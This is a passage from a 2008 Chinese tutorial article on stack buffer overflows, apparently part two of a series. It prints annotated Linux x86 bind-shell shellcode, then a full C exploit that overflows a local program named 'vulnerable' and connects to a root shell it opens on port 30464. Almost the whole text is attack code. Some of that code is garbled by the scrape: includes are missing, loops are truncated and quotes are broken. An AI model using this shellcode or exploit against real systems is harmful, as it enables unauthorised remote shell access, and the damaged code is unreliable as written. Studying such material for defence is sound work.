科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道堆栈溢出技术从入门到高深(二)

堆栈溢出技术从入门到高深(二)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

继续我们上一次的话题,在上一篇文章我,我提到了如何实现一个Shellcode,本次我们将利用堆栈溢出来获得shell……

作者:谐和 来源:论坛整理 2008年10月13日

关键字: 堆栈溢出技术 安全策略

  • 评论
  • 分享微博
  • 分享邮件

在本页阅读全文(共3页)

  char shellcode[]=

  00 "\x31\xc0" /* xorl %eax,%eax */

  02 "\xb0\x02" /* movb $0x2,%al */

  04 "\xcd\x80" /* int $0x80 */

  06 "\x85\xc0" /* testl %eax,%eax */

  08 "\x75\x43" /* jne 0x43 */

  /* 执行fork(),当fork()!=0 的时候,表明是父进程,要终止 */

  /* 因此,跳到0x43+a=0x4d,再跳到后面,执行 exit(0) */

  0a "\xeb\x43" /* jmp 0x43 */

  /* 当fork()==0 的时候,表明是子进程 */

  /* 因此,跳到0x43+0c=0x4f,再跳到后面,执行 call -0xa5 */

  0c "\x5e" /* popl %esi */

  0d "\x31\xc0" /* xorl %eax,%eax */

  0f "\x31\xdb" /* xorl %ebx,%ebx */

  11 "\x89\xf1" /* movl %esi,%ecx */

  13 "\xb0\x02" /* movb $0x2,%al */

  15 "\x89\x06" /* movl %eax,(%esi) */

  17 "\xb0\x01" /* movb $0x1,%al */

  19 "\x89\x46\x04" /* movl %eax,0x4(%esi) */

  1c "\xb0\x06" /* movb $0x6,%al */

  1e "\x89\x46\x08" /* movl %eax,0x8(%esi) */

  21 "\xb0\x66" /* movb $0x66,%al */

  23 "\xb3\x01" /* movb $0x1,%bl */

  25 "\xcd\x80" /* int $0x80 */

  /* 执行socket(),eax里面为返回值soc文件描述符 */

  27 "\x89\x06" /* movl %eax,(%esi) */

  29 "\xb0\x02" /* movb $0x2,%al */

  2d "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */

  2f "\xb0\x77" /* movb $0x77,%al */

  31 "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */

  35 "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */

  38 "\x89\x46\x04" /* movl %eax,0x4(%esi) */

  3b "\x31\xc0" /* xorl %eax,%eax */

  3d "\x89\x46\x10" /* movl %eax,0x10(%esi) */

  40 "\xb0\x10" /* movb $0x10,%al */

  42 "\x89\x46\x08" /* movl %eax,0x8(%esi) */

  45 "\xb0\x66" /* movb $0x66,%al */

  47 "\xb3\x02" /* movb $0x2,%bl */

  49 "\xcd\x80" /* int $0x80 */

  /* 执行bind() */

  4b "\xeb\x04" /* jmp 0x4 */

  /* 越过下面的两个跳转 */

  4d "\xeb\x55" /* jmp 0x55 */

  /* 跳到0x4f+0x55=0xa4 */

  4f "\xeb\x5b" /* jmp 0x5b */

  /* 跳到0x51+0x5b=0xac */

  51 "\xb0\x01" /* movb $0x1,%al */

  53 "\x89\x46\x04" /* movl %eax,0x4(%esi) */

  56 "\xb0\x66" /* movb $0x66,%al */

  58 "\xb3\x04" /* movb $0x4,%bl */

  5a "\xcd\x80" /* int $0x80 */

  /* 执行listen() */

  5c "\x31\xc0" /* xorl %eax,%eax */

  5e "\x89\x46\x04" /* movl %eax,0x4(%esi) */

  61 "\x89\x46\x08" /* movl %eax,0x8(%esi) */

  64 "\xb0\x66" /* movb $0x66,%al */

  66 "\xb3\x05" /* movb $0x5,%bl */

  68 "\xcd\x80" /* int $0x80 */

  /* 执行accept(),eax里面为返回值cli文件描述符 */

  6a "\x88\xc3" /* movb %al,%bl */

  6c "\xb0\x3f" /* movb $0x3f,%al */

  6e "\x31\xc9" /* xorl %ecx,%ecx */

  70 "\xcd\x80" /* int $0x80 */

  72 "\xb0\x3f" /* movb $0x3f,%al */

  74 "\xb1\x01" /* movb $0x1,%cl */

  76 "\xcd\x80" /* int $0x80 */

  78 "\xb0\x3f" /* movb $0x3f,%al */

  7a "\xb1\x02" /* movb $0x2,%cl */

  7c "\xcd\x80" /* int $0x80 */

  /* 执行三个dup2() */

  7e "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */

  /* %eax="/bin" */

  83 "\x89\x06" /* movl %eax,(%esi) */

  85 "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */

  /* %eax="/sh/" */

  8a "\x89\x46\x04" /* movl %eax,0x4(%esi) */

  8d "\x31\xc0" /* xorl %eax,%eax */

  8f "\x88\x46\x07" /* movb %al,0x7(%esi) */

  92 "\x89\x76\x08" /* movl %esi,0x8(%esi) */

  95 "\x89\x46\x0c" /* movl %eax,0xc(%esi) */

  98 "\xb0\x0b" /* movb $0xb,%al */

  9a "\x89\xf3" /* movl %esi,%ebx */

  9c "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */

  9f "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */

  a2 "\xcd\x80" /* int $0x80 */

  /* 执行execve() */

  /* 运行/bin/sh() */

  a4 "\x31\xc0" /* xorl %eax,%eax */

  a6 "\xb0\x01" /* movb $0x1,%al */

  a8 "\x31\xdb" /* xorl %ebx,%ebx */

  aa "\xcd\x80" /* int $0x80 */

  /* 执行exit() */

  ac "\xe8\x5b\xff\xff\xff" /* call -0xa5 */

  /* 执行0x0c处的指令 */

  shell终于写完了,下面就是攻击程序了。

  #include

  #include

  #include

  #include

  #include

  #define ALIGN 0

  #define OFFSET 0

  #define RET_POSITION 1024

  #define RANGE 200

  #define NOP 0x90

  char shellcode[]=

  "\x31\xc0" /* xorl %eax,%eax */

  "\xb0\x02" /* movb $0x2,%al */

  "\xcd\x80" /* int $0x80 */

  "\x85\xc0" /* testl %eax,%eax */

  "\x75\x43" /* jne 0x43 */

  "\xeb\x43" /* jmp 0x43 */

  "\x5e" /* popl %esi */

  "\x31\xc0" /* xorl %eax,%eax */

  "\x31\xdb" /* xorl %ebx,%ebx */

  "\x89\xf1" /* movl %esi,%ecx */

  "\xb0\x02" /* movb $0x2,%al */

  "\x89\x06" /* movl %eax,(%esi) */

  "\xb0\x01" /* movb $0x1,%al */

  "\x89\x46\x04" /* movl %eax,0x4(%esi) */

  "\xb0\x06" /* movb $0x6,%al */

  "\x89\x46\x08" /* movl %eax,0x8(%esi) */

  "\xb0\x66" /* movb $0x66,%al */

  "\xb3\x01" /* movb $0x1,%bl */

  "\xcd\x80" /* int $0x80 */

  "\x89\x06" /* movl %eax,(%esi) */

  "\xb0\x02" /* movb $0x2,%al */

  "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */

  "\xb0\x77" /* movb $0x77,%al */

  "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */

  "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */

  "\x89\x46\x04" /* movl %eax,0x4(%esi) */

  "\x31\xc0" /* xorl %eax,%eax */

  "\x89\x46\x10" /* movl %eax,0x10(%esi) */

  "\xb0\x10" /* movb $0x10,%al */

  "\x89\x46\x08" /* movl %eax,0x8(%esi) */

  "\xb0\x66" /* movb $0x66,%al */

  "\xb3\x02" /* movb $0x2,%bl */

  "\xcd\x80" /* int $0x80 */

  "\xeb\x04" /* jmp 0x4 */

  "\xeb\x55" /* jmp 0x55 */

  "\xeb\x5b" /* jmp 0x5b */

  "\xb0\x01" /* movb $0x1,%al */

  "\x89\x46\x04" /* movl %eax,0x4(%esi) */

  "\xb0\x66" /* movb $0x66,%al */

  "\xb3\x04" /* movb $0x4,%bl */

  "\xcd\x80" /* int $0x80 */

  "\x31\xc0" /* xorl %eax,%eax */

  "\x89\x46\x04" /* movl %eax,0x4(%esi) */

  "\x89\x46\x08" /* movl %eax,0x8(%esi) */

  "\xb0\x66" /* movb $0x66,%al */

  "\xb3\x05" /* movb $0x5,%bl */

  "\xcd\x80" /* int $0x80 */

  "\x88\xc3" /* movb %al,%bl */

  "\xb0\x3f" /* movb $0x3f,%al */

  "\x31\xc9" /* xorl %ecx,%ecx */

  "\xcd\x80" /* int $0x80 */

  "\xb0\x3f" /* movb $0x3f,%al */

  "\xb1\x01" /* movb $0x1,%cl */

  "\xcd\x80" /* int $0x80 */

  "\xb0\x3f" /* movb $0x3f,%al */

  "\xb1\x02" /* movb $0x2,%cl */

  "\xcd\x80" /* int $0x80 */

  "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */

  "\x89\x06" /* movl %eax,(%esi) */

  "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */

  "\x89\x46\x04" /* movl %eax,0x4(%esi) */

  "\x31\xc0" /* xorl %eax,%eax */

  "\x88\x46\x07" /* movb %al,0x7(%esi) */

  "\x89\x76\x08" /* movl %esi,0x8(%esi) */

  "\x89\x46\x0c" /* movl %eax,0xc(%esi) */

  "\xb0\x0b" /* movb $0xb,%al */

  "\x89\xf3" /* movl %esi,%ebx */

  "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */

  "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */

  "\xcd\x80" /* int $0x80 */

  "\x31\xc0" /* xorl %eax,%eax */

  "\xb0\x01" /* movb $0x1,%al */

  "\x31\xdb" /* xorl %ebx,%ebx */

  "\xcd\x80" /* int $0x80 */

  "\xe8\x5b\xff\xff\xff" /* call -0xa5 */

  unsigned long get_sp(void)

  {

  __asm__("movl %esp,%eax");

  }

  long getip(char *name)

  {

  struct hostent *hp;

  long ip;

  if((ip=inet_addr(name))==-1)

  {

  if((hp=gethostbyname(name))==NULL)

  {

  fprintf(stderr,"Can"t resolve host.\n");

  exit(0);

  }

  memcpy(&ip,(hp->h_addr),4);

  }

  return ip;

  }

  int exec_sh(int sockfd)

  {

  char snd[4096],rcv[4096];

  fd_set rset;

  while(1)

  {

  FD_ZERO(&rset);

  FD_SET(fileno(stdin),&rset);

  FD_SET(sockfd,&rset);

  select(255,&rset,NULL,NULL,NULL);

  if(FD_ISSET(fileno(stdin),&rset))

  {

  memset(snd,0,sizeof(snd));

  fgets(snd,sizeof(snd),stdin);

  write(sockfd,snd,strlen(snd));

  }

  if(FD_ISSET(sockfd,&rset))

  {

  memset(rcv,0,sizeof(rcv));

  if(read(sockfd,rcv,sizeof(rcv))<=0)

  exit(0);

  fputs(rcv,stdout);

  }

  }

  }

  int connect_sh(long ip)

  {

  int sockfd,i;

  struct sockaddr_in sin;

  printf("Connect to the shell\n");

  fflush(stdout);

  memset(&sin,0,sizeof(sin));

  sin.sin_family=AF_INET;

  sin.sin_port=htons(30464);

  sin.sin_addr.s_addr=ip;

  if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)

  {

  printf("Can"t create socket\n");

  exit(0);

  }

  if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)

  {

  printf("Can"t connect to the shell\n");

  exit(0);

  }

  return sockfd;

  }

  void main(int argc,char **argv)

  {

  char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;

  long addr;

  unsigned long sp;

  int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;

  int i;

  int sockfd;

  if(argc>1)

  offset=atoi(argv[1]);

  sp=get_sp();

  addr=sp-offset;

  for(i=0;i

  {

  buff[i+ALIGN]=(addr&0x000000ff);

  buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;

  buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;

  buff[i+ALIGN+3]=(addr&0xff000000)>>24;

  }

  for(i=0;i

  buff[i]=NOP;

  ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;

  for(i=0;i

  *(ptr++)=shellcode[i];

  buff[bsize-1]="\0"

  printf("Jump to 0x%08x\n",addr);

  if(fork()==0)

  {

  execl("./vulnerable","vulnerable",buff,0);

  exit(0);

  }

  sleep(5);

  sockfd=connect_sh(getip("127.0.0.1"));

  exec_sh(sockfd);

  }

  算法很简单,先生成溢出串,格式为:NNNNSSSSAAAA。然后起一个子进程执行目标程序,来模拟网络daemon,参数为我们的字符串。好,堆栈溢出发生了。我们的shellcode被执行,那么在30464端口就会有server在listen了。

  父进程睡五秒,等待这些完成。就连接本机的端口30464。连接建立后,从socket读取收到的字符串,打印到标准输出,从标准输入读取字符串,传到socket的server端。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章